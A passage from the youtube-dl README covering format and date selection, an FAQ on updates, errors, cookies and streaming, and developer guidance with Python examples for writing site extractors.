videos where the height is not known) with a bitrate of at least 500 KBit/s. You can merge the video and audio of two formats into a single file using `-f <video-format>+<audio-format>` (requires ffmpeg or avconv installed), for example `-f bestvideo+bestaudio` will download the best video-only format, the best audio-only format and mux them together with ffmpeg/avconv. Format selectors can also be grouped using parentheses, for example if you want to download the best mp4 and webm formats with a height lower than 480 you can use `-f '(mp4,webm)[height<480]'`. Since the end of April 2015 and version 2015.04.26, youtube-dl uses `-f bestvideo+bestaudio/best` as the default format selection (see [#5447](https://github.com/ytdl-org/youtube-dl/issues/5447), [#5456](https://github.com/ytdl-org/youtube-dl/issues/5456)). If ffmpeg or avconv are installed this results in downloading `bestvideo` and `bestaudio` separately and muxing them together into a single file giving the best overall quality available. Otherwise it falls back to `best` and results in downloading the best available quality served as a single file. `best` is also needed for videos that don't come from YouTube because they don't provide the audio and video in two different files. If you want to only download some DASH formats (for example if you are not interested in getting videos with a resolution higher than 1080p), you can add `-f bestvideo[height<=?1080]+bestaudio/best` to your configuration file. Note that if you use youtube-dl to stream to `stdout` (and most likely to pipe it to your media player then), i.e. you explicitly specify output template as `-o -`, youtube-dl still uses `-f best` format selection in order to start content delivery immediately to your player and not to wait until `bestvideo` and `bestaudio` are downloaded and muxed. If you want to preserve the old format selection behavior (prior to youtube-dl 2015.04.26), i.e. you want to download the best available quality media served as a single file, you should explicitly specify your choice with `-f best`. You may want to add it to the [configuration file](#configuration) in order not to type it every time you run youtube-dl. #### Format selection examples Note that on Windows you may need to use double quotes instead of single. ```bash # Download best mp4 format available or any other best if no mp4 available $ youtube-dl -f 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best' # Download best format available but no better than 480p $ youtube-dl -f 'bestvideo[height<=480]+bestaudio/best[height<=480]' # Download best video only format but no bigger than 50 MB $ youtube-dl -f 'best[filesize<50M]' # Download best format available via direct link over HTTP/HTTPS protocol $ youtube-dl -f '(bestvideo+bestaudio/best)[protocol^=http]' # Download the best video format and the best audio format without merging them $ youtube-dl -f 'bestvideo,bestaudio' -o '%(title)s.f%(format_id)s.%(ext)s' ``` Note that in the last example, an output template is recommended as bestvideo and bestaudio may have the same file name. # VIDEO SELECTION Videos can be filtered by their upload date using the options `--date`, `--datebefore` or `--dateafter`. They accept dates in two formats: - Absolute dates: Dates in the format `YYYYMMDD`. - Relative dates: Dates in the format `(now|today)[+-][0-9](day|week|month|year)(s)?` Examples: ```bash # Download only the videos uploaded in the last 6 months $ youtube-dl --dateafter now-6months # Download only the videos uploaded on January 1, 1970 $ youtube-dl --date 19700101 $ # Download only the videos uploaded in the 200x decade $ youtube-dl --dateafter 20000101 --datebefore 20091231 ``` # FAQ ### How do I update youtube-dl? If you've followed [our manual installation instructions](https://ytdl-org.github.io/youtube-dl/download.html), you can simply run `youtube-dl -U` (or, on Linux, `sudo youtube-dl -U`). If you have used pip, a simple `sudo pip install -U youtube-dl` is sufficient to update. If you have installed youtube-dl using a package manager like *apt-get* or *yum*, use the standard system update mechanism to update. Note that distribution packages are often outdated. As a rule of thumb, youtube-dl releases at least once a month, and often weekly or even daily. Simply go to https://yt-dl.org to find out the current version. Unfortunately, there is nothing we youtube-dl developers can do if your distribution serves a really outdated version. You can (and should) complain to your distribution in their bugtracker or support forum. As a last resort, you can also uninstall the version installed by your package manager and follow our manual installation instructions. For that, remove the distribution's package, with a line like sudo apt-get remove -y youtube-dl Afterwards, simply follow [our manual installation instructions](https://ytdl-org.github.io/youtube-dl/download.html): ``` sudo wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl sudo chmod a+rx /usr/local/bin/youtube-dl hash -r ``` Again, from then on you'll be able to update with `sudo youtube-dl -U`. ### youtube-dl is extremely slow to start on Windows Add a file exclusion for `youtube-dl.exe` in Windows Defender settings. ### I'm getting an error `Unable to extract OpenGraph title` on YouTube playlists YouTube changed their playlist format in March 2014 and later on, so you'll need at least youtube-dl 2014.07.25 to download all YouTube videos. If you have installed youtube-dl with a package manager, pip, setup.py or a tarball, please use that to update. Note that Ubuntu packages do not seem to get updated anymore. Since we are not affiliated with Ubuntu, there is little we can do. Feel free to [report bugs](https://bugs.launchpad.net/ubuntu/+source/youtube-dl/+filebug) to the [Ubuntu packaging people](mailto:[email protected]?subject=outdated%20version%20of%20youtube-dl) - all they have to do is update the package to a somewhat recent version. See above for a way to update. ### I'm getting an error when trying to use output template: `error: using output template conflicts with using title, video ID or auto number` Make sure you are not using `-o` with any of these options `-t`, `--title`, `--id`, `-A` or `--auto-number` set in command line or in a configuration file. Remove the latter if any. ### Do I always have to pass `-citw`? By default, youtube-dl intends to have the best options (incidentally, if you have a convincing case that these should be different, [please file an issue where you explain that](https://yt-dl.org/bug)). Therefore, it is unnecessary and sometimes harmful to copy long option strings from webpages. In particular, the only option out of `-citw` that is regularly useful is `-i`. ### Can you please put the `-b` option back? Most people asking this question are not aware that youtube-dl now defaults to downloading the highest available quality as reported by YouTube, which will be 1080p or 720p in some cases, so you no longer need the `-b` option. For some specific videos, maybe YouTube does not report them to be available in a specific high quality format you're interested in. In that case, simply request it with the `-f` option and youtube-dl will try to download it. ### I get HTTP error 402 when trying to download a video. What's this? Apparently YouTube requires you to pass a CAPTCHA test if you download too much. We're [considering to provide a way to let you solve the CAPTCHA](https://github.com/ytdl-org/youtube-dl/issues/154), but at the moment, your best course of action is pointing a web browser to the youtube URL, solving the CAPTCHA, and restart youtube-dl. ### Do I need any other programs? youtube-dl works fine on its own on most sites. However, if you want to convert video/audio, you'll need [avconv](https://libav.org/) or [ffmpeg](https://www.ffmpeg.org/). On some sites - most notably YouTube - videos can be retrieved in a higher quality format without sound. youtube-dl will detect whether avconv/ffmpeg is present and automatically pick the best option. Videos or video formats streamed via RTMP protocol can only be downloaded when [rtmpdump](https://rtmpdump.mplayerhq.hu/) is installed. Downloading MMS and RTSP videos requires either [mplayer](https://mplayerhq.hu/) or [mpv](https://mpv.io/) to be installed. ### I have downloaded a video but how can I play it? Once the video is fully downloaded, use any video player, such as [mpv](https://mpv.io/), [vlc](https://www.videolan.org/) or [mplayer](https://www.mplayerhq.hu/). ### I extracted a video URL with `-g`, but it does not play on another machine / in my web browser. It depends a lot on the service. In many cases, requests for the video (to download/play it) must come from the same IP address and with the same cookies and/or HTTP headers. Use the `--cookies` option to write the required cookies into a file, and advise your downloader to read cookies from that file. Some sites also require a common user agent to be used, use `--dump-user-agent` to see the one in use by youtube-dl. You can also get necessary cookies and HTTP headers from JSON output obtained with `--dump-json`. It may be beneficial to use IPv6; in some cases, the restrictions are only applied to IPv4. Some services (sometimes only for a subset of videos) do not restrict the video URL by IP address, cookie, or user-agent, but these are the exception rather than the rule. Please bear in mind that some URL protocols are **not** supported by browsers out of the box, including RTMP. If you are using `-g`, your own downloader must support these as well. If you want to play the video on a machine that is not running youtube-dl, you can relay the video content from the machine that runs youtube-dl. You can use `-o -` to let youtube-dl stream a video to stdout, or simply allow the player to download the files written by youtube-dl in turn. ### ERROR: no fmt_url_map or conn information found in video info YouTube has switched to a new video info format in July 2011 which is not supported by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl. ### ERROR: unable to download video YouTube requires an additional signature since September 2012 which is not supported by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl. ### Video URL contains an ampersand and I'm getting some strange output `[1] 2839` or `'v' is not recognized as an internal or external command` That's actually the output from your shell. Since ampersand is one of the special shell characters it's interpreted by the shell preventing you from passing the whole URL to youtube-dl. To disable your shell from interpreting the ampersands (or any other special characters) you have to either put the whole URL in quotes or escape them with a backslash (which approach will work depends on your shell). For example if your URL is https://www.youtube.com/watch?t=4&v=BaW_jenozKc you should end up with following command: ```youtube-dl 'https://www.youtube.com/watch?t=4&v=BaW_jenozKc'``` or ```youtube-dl https://www.youtube.com/watch?t=4\&v=BaW_jenozKc``` For Windows you have to use the double quotes: ```youtube-dl "https://www.youtube.com/watch?t=4&v=BaW_jenozKc"``` ### ExtractorError: Could not find JS function u'OF' In February 2015, the new YouTube player contained a character sequence in a string that was misinterpreted by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl. ### HTTP Error 429: Too Many Requests or 402: Payment Required These two error codes indicate that the service is blocking your IP address because of overuse. Usually this is a soft block meaning that you can gain access again after solving CAPTCHA. Just open a browser and solve a CAPTCHA the service suggests you and after that [pass cookies](#how-do-i-pass-cookies-to-youtube-dl) to youtube-dl. Note that if your machine has multiple external IPs then you should also pass exactly the same IP you've used for solving CAPTCHA with [`--source-address`](#network-options). Also you may need to pass a `User-Agent` HTTP header of your browser with [`--user-agent`](#workarounds). If this is not the case (no CAPTCHA suggested to solve by the service) then you can contact the service and ask them to unblock your IP address, or - if you have acquired a whitelisted IP address already - use the [`--proxy` or `--source-address` options](#network-options) to select another IP address. ### SyntaxError: Non-ASCII character The error File "youtube-dl", line 2 SyntaxError: Non-ASCII character '\x93' ... means you're using an outdated version of Python. Please update to Python 2.6 or 2.7. ### What is this binary file? Where has the code gone? Since June 2012 ([#342](https://github.com/ytdl-org/youtube-dl/issues/342)) youtube-dl is packed as an executable zipfile, simply unzip it (might need renaming to `youtube-dl.zip` first on some systems) or clone the git repository, as laid out above. If you modify the code, you can run it by executing the `__main__.py` file. To recompile the executable, run `make youtube-dl`. ### The exe throws an error due to missing `MSVCR100.dll` To run the exe you need to install first the [Microsoft Visual C++ 2010 Service Pack 1 Redistributable Package (x86)](https://download.microsoft.com/download/1/6/5/165255E7-1014-4D0A-B094-B6A430A6BFFC/vcredist_x86.exe). ### On Windows, how should I set up ffmpeg and youtube-dl? Where should I put the exe files? If you put youtube-dl and ffmpeg in the same directory that you're running the command from, it will work, but that's rather cumbersome. To make a different directory work - either for ffmpeg, or for youtube-dl, or for both - simply create the directory (say, `C:\bin`, or `C:\Users\<User name>\bin`), put all the executables directly in there, and then [set your PATH environment variable](https://www.java.com/en/download/help/path.xml) to include that directory. From then on, after restarting your shell, you will be able to access both youtube-dl and ffmpeg (and youtube-dl will be able to find ffmpeg) by simply typing `youtube-dl` or `ffmpeg`, no matter what directory you're in. ### How do I put downloads into a specific folder? Use the `-o` to specify an [output template](#output-template), for example `-o "/home/user/videos/%(title)s-%(id)s.%(ext)s"`. If you want this for all of your downloads, put the option into your [configuration file](#configuration). ### How do I download a video starting with a `-`? Either prepend `https://www.youtube.com/watch?v=` or separate the ID from the options with `--`: youtube-dl -- -wNyEUrxzFU youtube-dl "https://www.youtube.com/watch?v=-wNyEUrxzFU" ### How do I pass cookies to youtube-dl? Use the `--cookies` option, for example `--cookies /path/to/cookies/file.txt`. In order to extract cookies from browser use any conforming browser extension for exporting cookies. For example, [Get cookies.txt LOCALLY](https://chrome.google.com/webstore/detail/get-cookiestxt-locally/cclelndahbckbenkjhflpdbgdldlbecc) (for Chrome) or [cookies.txt](https://addons.mozilla.org/en-US/firefox/addon/cookies-txt/) (for Firefox). Note that the cookies file must be in Mozilla/Netscape format and the first line of the cookies file must be either `# HTTP Cookie File` or `# Netscape HTTP Cookie File`. Make sure you have correct [newline format](https://en.wikipedia.org/wiki/Newline) in the cookies file and convert newlines if necessary to correspond with your OS, namely `CRLF` (`\r\n`) for Windows and `LF` (`\n`) for Unix and Unix-like systems (Linux, macOS, etc.). `HTTP Error 400: Bad Request` when using `--cookies` is a good sign of invalid newline format. Passing cookies to youtube-dl is a good way to workaround login when a particular extractor does not implement it explicitly. Another use case is working around [CAPTCHA](https://en.wikipedia.org/wiki/CAPTCHA) some websites require you to solve in particular cases in order to get access (e.g. YouTube, CloudFlare). ### How do I stream directly to media player? You will first need to tell youtube-dl to stream media to stdout with `-o -`, and also tell your media player to read from stdin (it must be capable of this for streaming) and then pipe former to latter. For example, streaming to [vlc](https://www.videolan.org/) can be achieved with: youtube-dl -o - "https://www.youtube.com/watch?v=BaW_jenozKcj" | vlc - ### How do I download only new videos from a playlist? Use download-archive feature. With this feature you should initially download the complete playlist with `--download-archive /path/to/download/archive/file.txt` that will record identifiers of all the videos in a special file. Each subsequent run with the same `--download-archive` will download only new videos and skip all videos that have been downloaded before. Note that only successful downloads are recorded in the file. For example, at first, youtube-dl --download-archive archive.txt "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re" will download the complete `PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re` playlist and create a file `archive.txt`. Each subsequent run will only download new videos if any: youtube-dl --download-archive archive.txt "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re" ### Should I add `--hls-prefer-native` into my config? When youtube-dl detects an HLS video, it can download it either with the built-in downloader or ffmpeg. Since many HLS streams are slightly invalid and ffmpeg/youtube-dl each handle some invalid cases better than the other, there is an option to switch the downloader if needed. When youtube-dl knows that one particular downloader works better for a given website, that downloader will be picked. Otherwise, youtube-dl will pick the best downloader for general compatibility, which at the moment happens to be ffmpeg. This choice may change in future versions of youtube-dl, with improvements of the built-in downloader and/or ffmpeg. In particular, the generic extractor (used when your website is not in the [list of supported sites by youtube-dl](https://ytdl-org.github.io/youtube-dl/supportedsites.html) cannot mandate one specific downloader. If you put either `--hls-prefer-native` or `--hls-prefer-ffmpeg` into your configuration, a different subset of videos will fail to download correctly. Instead, it is much better to [file an issue](https://yt-dl.org/bug) or a pull request which details why the native or the ffmpeg HLS downloader is a better choice for your use case. ### Can you add support for this anime video site, or site which shows current movies for free? As a matter of policy (as well as legality), youtube-dl does not include support for services that specialize in infringing copyright. As a rule of thumb, if you cannot easily find a video that the service is quite obviously allowed to distribute (i.e. that has been uploaded by the creator, the creator's distributor, or is published under a free license), the service is probably unfit for inclusion to youtube-dl. A note on the service that they don't host the infringing content, but just link to those who do, is evidence that the service should **not** be included into youtube-dl. The same goes for any DMCA note when the whole front page of the service is filled with videos they are not allowed to distribute. A "fair use" note is equally unconvincing if the service shows copyright-protected videos in full without authorization. Support requests for services that **do** purchase the rights to distribute their content are perfectly fine though. If in doubt, you can simply include a source that mentions the legitimate purchase of content. ### How can I speed up work on my issue? (Also known as: Help, my important issue not being solved!) The youtube-dl core developer team is quite small. While we do our best to solve as many issues as possible, sometimes that can take quite a while. To speed up your issue, here's what you can do: First of all, please do report the issue [at our issue tracker](https://yt-dl.org/bugs). That allows us to coordinate all efforts by users and developers, and serves as a unified point. Unfortunately, the youtube-dl project has grown too large to use personal email as an effective communication channel. Please read the [bug reporting instructions](#bugs) below. A lot of bugs lack all the necessary information. If you can, offer proxy, VPN, or shell access to the youtube-dl developers. If you are able to, test the issue from multiple computers in multiple countries to exclude local censorship or misconfiguration issues. If nobody is interested in solving your issue, you are welcome to take matters into your own hands and submit a pull request (or coerce/pay somebody else to do so). Feel free to bump the issue from time to time by writing a small comment ("Issue is still present in youtube-dl version ...from France, but fixed from Belgium"), but please not more than once a month. Please do not declare your issue as `important` or `urgent`. ### How can I detect whether a given URL is supported by youtube-dl? For one, have a look at the [list of supported sites](docs/supportedsites.md). Note that it can sometimes happen that the site changes its URL scheme (say, from https://example.com/video/1234567 to https://example.com/v/1234567 ) and youtube-dl reports an URL of a service in that list as unsupported. In that case, simply report a bug. It is *not* possible to detect whether a URL is supported or not. That's because youtube-dl contains a generic extractor which matches **all** URLs. You may be tempted to disable, exclude, or remove the generic extractor, but the generic extractor not only allows users to extract videos from lots of websites that embed a video from another service, but may also be used to extract video from a service that it's hosting itself. Therefore, we neither recommend nor support disabling, excluding, or removing the generic extractor. If you want to find out whether a given URL is supported, simply call youtube-dl with it. If you get no videos back, chances are the URL is either not referring to a video or unsupported. You can find out which by examining the output (if you run youtube-dl on the console) or catching an `UnsupportedError` exception if you run it from a Python program. # Why do I need to go through that much red tape when filing bugs? Before we had the issue template, despite our extensive [bug reporting instructions](#bugs), about 80% of the issue reports we got were useless, for instance because people used ancient versions hundreds of releases old, because of simple syntactic errors (not in youtube-dl but in general shell usage), because the problem was already reported multiple times before, because people did not actually read an error message, even if it said "please install ffmpeg", because people did not mention the URL they were trying to download and many more simple, easy-to-avoid problems, many of whom were totally unrelated to youtube-dl. youtube-dl is an open-source project manned by too few volunteers, so we'd rather spend time fixing bugs where we are certain none of those simple problems apply, and where we can be reasonably confident to be able to reproduce the issue without asking the reporter repeatedly. As such, the output of `youtube-dl -v YOUR_URL_HERE` is really all that's required to file an issue. The issue template also guides you through some basic steps you can do, such as checking that your version of youtube-dl is current. # DEVELOPER INSTRUCTIONS Most users do not need to build youtube-dl and can [download the builds](https://ytdl-org.github.io/youtube-dl/download.html) or get them from their distribution. To run youtube-dl as a developer, you don't need to build anything either. Simply execute python -m youtube_dl To run the test, simply invoke your favorite test runner, or execute a test file directly; any of the following work: python -m unittest discover python test/test_download.py nosetests For Python versions 3.6 and later, you can use [pynose](https://pypi.org/project/pynose/) to implement `nosetests`. The original [nose](https://pypi.org/project/nose/) has not been upgraded for 3.10 and later. See item 6 of [new extractor tutorial](#adding-support-for-a-new-site) for how to run extractor specific test cases. If you want to create a build of youtube-dl yourself, you'll need * python * make (only GNU make is supported) * pandoc * zip * nosetests ### Adding support for a new site If you want to add support for a new site, first of all **make sure** this site is **not dedicated to [copyright infringement](README.md#can-you-add-support-for-this-anime-video-site-or-site-which-shows-current-movies-for-free)**. youtube-dl does **not support** such sites thus pull requests adding support for them **will be rejected**. After you have ensured this site is distributing its content legally, you can follow this quick list (assuming your service is called `yourextractor`): 1. [Fork this repository](https://github.com/ytdl-org/youtube-dl/fork) 2. Check out the source code with: git clone [email protected]:YOUR_GITHUB_USERNAME/youtube-dl.git 3. Start a new git branch with cd youtube-dl git checkout -b yourextractor 4. Start with this simple template and save it to `youtube_dl/extractor/yourextractor.py`: ```python # coding: utf-8 from __future__ import unicode_literals from .common import InfoExtractor class YourExtractorIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?yourextractor\.com/watch/(?P<id>[0-9]+)' _TEST = { 'url': 'https://yourextractor.com/watch/42', 'md5': 'TODO: md5 sum of the first 10241 bytes of the video file (use --test)', 'info_dict': { 'id': '42', 'ext': 'mp4', 'title': 'Video title goes here', 'thumbnail': r're:^https?://.*\.jpg$', # TODO more properties, either as: # * A value # * MD5 checksum; start the string with md5: # * A regular expression; start the string with re: # * Any Python type (for example int or float) } } def _real_extract(self, url): video_id = self._match_id(url) webpage = self._download_webpage(url, video_id) # TODO more code goes here, for example ... title = self._html_search_regex(r'<h1>(.+?)</h1>', webpage, 'title') return { 'id': video_id, 'title': title, 'description': self._og_search_description(webpage), 'uploader': self._search_regex(r'<div[^>]+id="uploader"[^>]*>([^<]+)<', webpage, 'uploader', fatal=False), # TODO more properties (see youtube_dl/extractor/common.py) } ``` 5. Add an import in [`youtube_dl/extractor/extractors.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/extractors.py). 6. Run `python test/test_download.py TestDownload.test_YourExtractor`. This *should fail* at first, but you can continually re-run it until you're done. If you decide to add more than one test (actually, test case) then rename ``_TEST`` to ``_TESTS`` and make it into a list of dictionaries. The tests will then be named `TestDownload.test_YourExtractor`, `TestDownload.test_YourExtractor_1`, `TestDownload.test_YourExtractor_2`, etc. Note: * the test names use the extractor class name **without the trailing `IE`** * tests with `only_matching` key in test's dict are not counted. 8. Have a look at [`youtube_dl/extractor/common.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/common.py) for possible helper methods and a [detailed description of what your extractor should and may return](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L94-L303). Add tests and code for as many as you want. 9. Make sure your code follows [youtube-dl coding conventions](#youtube-dl-coding-conventions) and check the code with [flake8](https://flake8.pycqa.org/en/latest/index.html#quickstart): $ flake8 youtube_dl/extractor/yourextractor.py 9. Make sure your code works under all [Python](https://www.python.org/) versions claimed supported by youtube-dl, namely 2.6, 2.7, and 3.2+. 10. When the tests pass, [add](https://git-scm.com/docs/git-add) the new files and [commit](https://git-scm.com/docs/git-commit) them and [push](https://git-scm.com/docs/git-push) the result, like this: $ git add youtube_dl/extractor/extractors.py $ git add youtube_dl/extractor/yourextractor.py $ git commit -m '[yourextractor] Add new extractor' $ git push origin yourextractor 11. Finally, [create a pull request](https://help.github.com/articles/creating-a-pull-request). We'll then review and merge it. In any case, thank you very much for your contributions! ## youtube-dl coding conventions This section introduces guidelines for writing idiomatic, robust and future-proof extractor code. Extractors are very fragile by nature since they depend on the layout of the source data provided by 3rd party media hosters out of your control and this layout tends to change. As an extractor implementer your task is not only to write code that will extract media links and metadata correctly but also to minimize dependency on the source's layout and even to make the code foresee potential future changes and be ready for that. This is important because it will allow the extractor not to break on minor layout changes thus keeping old youtube-dl versions working. Even though this breakage issue is easily fixed by emitting a new version of youtube-dl with a fix incorporated, all the previous versions become broken in all repositories and distros' packages that may not be so prompt in fetching the update from us. Needless to say, some non rolling release distros may never receive an update at all. ### Mandatory and optional metafields For extraction to work youtube-dl relies on metadata your extractor extracts and provides to youtube-dl expressed by an [information dictionary](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L94-L303) or simply *info dict*. Only the following meta fields in the *info dict* are considered mandatory for a successful extraction process by youtube-dl: - `id` (media identifier) - `title` (media title) - `url` (media download URL) or `formats` In fact only the last option is technically mandatory (i.e. if you can't figure out the download location of the media the extraction does not make any sense). But by convention youtube-dl also treats `id` and `title` as mandatory. Thus the aforementioned metafields are the critical data that the extraction does not make any sense without and if any of them fail to be extracted then the extractor is considered completely broken. [Any field](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L188-L303) apart from the aforementioned ones are considered **optional**. That means that extraction should be **tolerant** to situations when sources for these fields can potentially be unavailable (even if they are always available at the moment) and **future-proof** in order not to break the extraction of general purpose mandatory fields. #### Example Say you have some source dictionary `meta` that you've fetched as JSON with HTTP request and it has a key `summary`: ```python meta = self._download_json(url, video_id) ``` Assume at this point `meta`'s layout is: ```python { ... "summary": "some fancy summary text", ... } ``` Assume you want to extract `summary` and put it into the resulting info dict as `description`. Since `description` is an optional meta field you should be ready that this key may be missing from the `meta` dict, so that you should extract it like: ```python description = meta.get('summary') # correct ``` and not like: ```python description = meta['summary'] # incorrect ``` The latter will break extraction process with `KeyError` if `summary` disappears from `meta` at some later time but with the former approach extraction will just go ahead with `description` set to `None` which is perfectly fine (remember `None` is equivalent to the absence of data). Similarly, you should pass `fatal=False` when extracting optional data from a webpage with `_search_regex`, `_html_search_regex` or similar methods, for instance: ```python description = self._search_regex( r'<span[^>]+id="title"[^>]*>([^<]+)<', webpage, 'description', fatal=False) ``` With `fatal` set to `False` if `_search_regex` fails to extract `description` it will emit a warning and continue extraction. You can also pass `default=<some fallback value>`, for example: ```python description = self._search_regex( r'<span[^>]+id="title"[^>]*>([^<]+)<', webpage, 'description', default=None) ``` On failure this code will silently continue the extraction with `description` set to `None`. That is useful for metafields that may or may not be present. ### Provide fallbacks When extracting metadata try to do so from multiple sources. For example if `title` is present in several places, try extracting from at least some of them. This makes it more future-proof in case some of the sources become unavailable. #### Example Say `meta` from the previous example has a `title` and you are about to extract it. Since `title` is a mandatory meta field you should end up with something like: ```python title = meta['title'] ``` If `title` disappears from `meta` in future due to some changes on the hoster's side the extraction would fail since `title` is mandatory. That's expected. Assume that you have some another source you can extract `title` from, for example `og:title` HTML meta of a `webpage`. In this case you can provide a fallback scenario: ```python title = meta.get('title') or self._og_search_title(webpage) ``` This code will try to extract from `meta` first and if it fails it will try extracting `og:title` from a `webpage`. ### Regular expressions #### Don't capture groups you don't use Capturing group must be an indication that it's used somewhere in the code. Any group that is not used must be non capturing. ##### Example Don't capture id attribute name here since you can't use it for anything anyway. Correct: ```python r'(?:id|ID)=(?P<id>\d+)' ``` Incorrect: ```python r'(id|ID)=(?P<id>\d+)' ``` #### Make regular expressions relaxed and flexible When using regular expressions try to write them fuzzy, relaxed and flexible, skipping insignificant parts that are more likely to change, allowing both single and double quotes for quoted values and so on. ##### Example Say you need to extract `title` from the following HTML code: ```html <span style="position: absolute; left: 910px; width: 90px; float: right; z-index: 9999;" class="title">some fancy title</span> ``` The code for that task should look similar to: ```python title = self._search_regex( r'<span[^>]+class="title"[^>]*>([^<]+)', webpage, 'title') ``` Or even better: ```python title = self._search_regex( r'<span[^>]+class=(["\'])title\1[^>]*>(?P<title>[^<]+)', webpage, 'title', group='title') ``` Note how you tolerate potential changes in the `style` attribute's value or switch from using double quotes to single for `class` attribute: The code definitely should not look like: ```python title = self._search_regex( r'<span style="position: absolute; left: 910px; width: 90px; float: right; z-index: 9999;" class="title">(.*?)</span>', webpage, 'title', group='title') ``` ### Long lines policy There is a soft limit to keep lines of code under 80 characters long. This means it should be respected if possible and if it does not make readability and code maintenance worse. For example, you should **never** split long string literals like URLs or some other often copied entities over multiple lines to fit this limit: Correct: ```python 'https://www.youtube.com/watch?v=FqZTN594JQw&list=PLMYEtVRpaqY00V9W81Cwmzp6N6vZqfUKD4' ``` Incorrect: ```python 'https://www.youtube.com/watch?v=FqZTN594JQw&list=' 'PLMYEtVRpaqY00V9W81Cwmzp6N6vZqfUKD4' ``` ### Inline values Extracting variables is acceptable for reducing code duplication and improving readability of complex expressions. However, you should avoid extracting variables used only once and moving them to opposite parts of the extractor file, which makes reading the linear flow difficult. #### Example Correct: ```python title = self._html_search_regex(r'<title>([^<]+)</title>', webpage, 'title') ``` Incorrect: ```python TITLE_RE = r'<title>([^<]+)</title>' # ...some lines of code... title = self._html_search_regex(TITLE_RE, webpage, 'title') ``` ### Collapse fallbacks Multiple fallback values can quickly become unwieldy. Collapse multiple fallback values into a single expression via a list of patterns. #### Example Good: ```python description = self._html_search_meta( ['og:description', 'description', 'twitter:description'], webpage, 'description', default=None) ``` Unwieldy: ```python description = ( self._og_search_description(webpage, default=None) or self._html_search_meta('description', webpage, default=None) or self._html_search_meta('twitter:description', webpage, default=None)) ``` Methods supporting list of patterns are: `_search_regex`, `_html_search_regex`, `_og_search_property`, `_html_search_meta`. ### Trailing parentheses Always move trailing parentheses after the last argument. #### Example Correct: ```python lambda x: x['ResultSet']['Result'][0]['VideoUrlSet']['VideoUrl'], list) ``` Incorrect: ```python lambda x: x['ResultSet']['Result'][0]['VideoUrlSet']['VideoUrl'], list, ) ``` ### Use convenience conversion and parsing functions Wrap all extracted numeric data into safe functions from [`youtube_dl/utils.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/utils.py): `int_or_none`, `float_or_none`. Use them for string to number conversions as well. Use `url_or_none` for safe URL processing. Use `traverse_obj` for safe metadata extraction from parsed JSON. Use `unified_strdate` for uniform `upload_date` or any `YYYYMMDD` meta field extraction, `unified_timestamp` for uniform `timestamp` extraction, `parse_filesize` for `filesize` extraction, `parse_count` for count meta fields extraction, `parse_resolution`, `parse_duration` for `duration` extraction, `parse_age_limit` for `age_limit` extraction. Explore [`youtube_dl/utils.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/utils.py) for more useful convenience functions. #### More examples ##### Safely extract optional description from parsed JSON When processing complex JSON, as often returned by site API requests or stashed in web pages for "hydration", you can use the `traverse_obj()` utility function to handle multiple fallback values and to ensure the expected type of metadata items. The function's docstring defines how the function works: also review usage in the codebase for more examples. In this example, a text `description`, or `None`, is pulled from the `.result.video[0].summary` member of the parsed JSON `response`, if available. ```python description = traverse_obj(response, ('result', 'video', 0, 'summary', T(compat_str))) ``` `T(...)` is a shorthand for a set literal; if you hate people who still run Python 2.6, `T(type_or_transformation)` could be written as a set literal `{type_or_transformation}`. Some extractors use the older and less capable `try_get()` function in the same way. ```python description = try_get(response, lambda x: x['result']['video'][0]['summary'], compat_str) ``` ##### Safely extract more optional metadata In this example, various optional metadata values are extracted from the `.result.video[0]` member of the parsed JSON `response`, which is expected to be a JS object, parsed into a `dict`, with no crash if that isn't so, or if any of the target values are missing or invalid. ```python video = traverse_obj(response, ('result', 'video', 0, T(dict))) or {} # formerly: # video = try_get(response, lambda x: x['result']['video'][0], dict) or {} description = video.get('summary') duration = float_or_none(video.get('durationMs'), scale=1000) view_count = int_or_none(video.get('views')) ``` #### Safely extract nested lists Suppose you've extracted JSON like this into a Python data structure named `media_json` using, say, the `_download_json()` or `_parse_json()` methods of `InfoExtractor`: ```json { "title": "Example video", "comment": "try extracting this", "media": [{ "type": "bad", "size": 320, "url": "https://some.cdn.site/bad.mp4" }, { "type": "streaming", "url": "https://some.cdn.site/hls.m3u8" }, { "type": "super", "size": 1280, "url": "https://some.cdn.site/good.webm" }], "moreStuff": "more values", ... } ``` Then extractor code like this can collect the various fields of the JSON: ```python ... from ..utils import ( determine_ext, int_or_none, T, traverse_obj, txt_or_none, url_or_none, ) ... ... info_dict = {} # extract title and description if valid and not empty info_dict.update(traverse_obj(media_json, { 'title': ('title', T(txt_or_none)), 'description': ('comment', T(txt_or_none)), })) # extract any recognisable media formats fmts = [] # traverse into "media" list, extract `dict`s with desired keys for fmt in traverse_obj(media_json, ('media', Ellipsis, { 'format_id': ('type', T(txt_or_none)), 'url': ('url', T(url_or_none)), 'width': ('size', T(int_or_none)), })): # bad `fmt` values were `None` and removed if 'url' not in fmt: continue fmt_url = fmt['url'] # known to be valid URL ext = determine_ext(fmt_url) if ext == 'm3u8': fmts.extend(self._extract_m3u8_formats(fmt_url, video_id, 'mp4', fatal=False)) else: fmt['ext'] = ext fmts.append(fmt) # sort, raise if no formats self._sort_formats(fmts) info_dict['formats'] = fmts ... ``` The extractor raises an exception rather than random crashes if the JSON structure changes so that no formats are found. # EMBEDDING YOUTUBE-DL youtube-dl makes the best effort to be a good command-line program, and thus should be callable from any programming language. If you encounter 